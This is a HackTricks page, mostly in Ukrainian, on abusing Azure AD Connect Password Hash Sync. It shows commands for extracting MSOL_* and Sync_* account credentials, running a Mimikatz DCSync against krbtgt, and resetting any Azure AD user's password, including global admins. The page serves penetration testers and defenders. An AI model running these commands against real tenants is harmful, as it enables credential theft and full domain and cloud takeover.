Az - PHS - Password Hash Sync

Support HackTricks

Basic Information

From the docs: Синхронізація хешів паролів є одним із методів входу, що використовується для досягнення гібридної ідентичності. Azure AD Connect синхронізує хеш, хешу, пароля користувача з локальної інстанції Active Directory до хмарної інстанції Azure AD.

Це найпоширеніший метод, який використовують компанії для синхронізації локального AD з Azure AD.

Всі користувачі та хеш паролів синхронізуються з локального AD до Azure AD. Однак, паролі у відкритому тексті або оригінальні хеші не надсилаються до Azure AD. Більше того, вбудовані групи безпеки (як-от адміністратори домену...) не синхронізуються з Azure AD.

Синхронізація хешів відбувається кожні 2 хвилини. Однак, за замовчуванням, терміни дії паролів та терміни дії облікових записів не синхронізуються в Azure AD. Тому користувач, чий локальний пароль прострочений (не змінений), може продовжувати доступ до ресурсів Azure за допомогою старого пароля.

Коли локальний користувач хоче отримати доступ до ресурсу Azure, автентифікація відбувається в Azure AD.

PHS потрібен для функцій, таких як Захист ідентичності та AAD Domain Services.

Pivoting

Коли PHS налаштовано, деякі привілейовані облікові записи автоматично створюються:

  • Обліковий запис MSOL_<installationID> автоматично створюється в локальному AD. Цьому обліковому запису надається роль Облікові записи синхронізації каталогу (див. документацію), що означає, що він має дозволи на реплікацію (DCSync) в локальному AD.

  • Обліковий запис Sync_<name of on-prem ADConnect Server>_installationID створюється в Azure AD. Цей обліковий запис може скидати пароль будь-якого користувача (синхронізованого або лише в хмарі) в Azure AD.

Паролі двох попередніх привілейованих облікових записів зберігаються на SQL сервері на сервері, де встановлено Azure AD Connect. Адміністратори можуть витягувати паролі цих привілейованих користувачів у відкритому тексті. База даних розташована в C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

Можливо витягти конфігурацію з однієї з таблиць, одна з яких зашифрована:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

Зашифрована конфігурація зашифрована за допомогою DPAPI і містить паролі користувача MSOL_* в локальному AD та пароль Sync_* в AzureAD. Тому, компрометуючи ці дані, можна підвищити привілеї до AD та AzureAD.

Ви можете знайти повний огляд того, як ці облікові дані зберігаються та розшифровуються в цій доповіді.

Finding the Azure AD connect server

Якщо сервер, на якому встановлено Azure AD connect, приєднаний до домену (рекомендується в документації), його можна знайти за допомогою:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

Зловживання MSOL_*

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

Ви також можете використовувати adconnectdump для отримання цих облікових даних.

Зловживання Sync_*

Компрометуючи обліковий запис Sync_*, можливо скинути пароль будь-якого користувача (включаючи глобальних адміністраторів)

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

Також можливо змінити паролі лише для користувачів хмари (навіть якщо це несподівано)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

Цілком можливо вивантажити пароль цього користувача.

Іншою опцією було б призначити привілейовані дозволи службовому принципалу, що Sync користувач має дозволи на це, а потім отримати доступ до цього службового принципалу як спосіб підвищення привілеїв.

Безшовний SSO

Можливо використовувати безшовний SSO з PHS, який вразливий до інших зловживань. Перевірте це в:

Az - Seamless SSO

Посилання

Support HackTricks

Last updated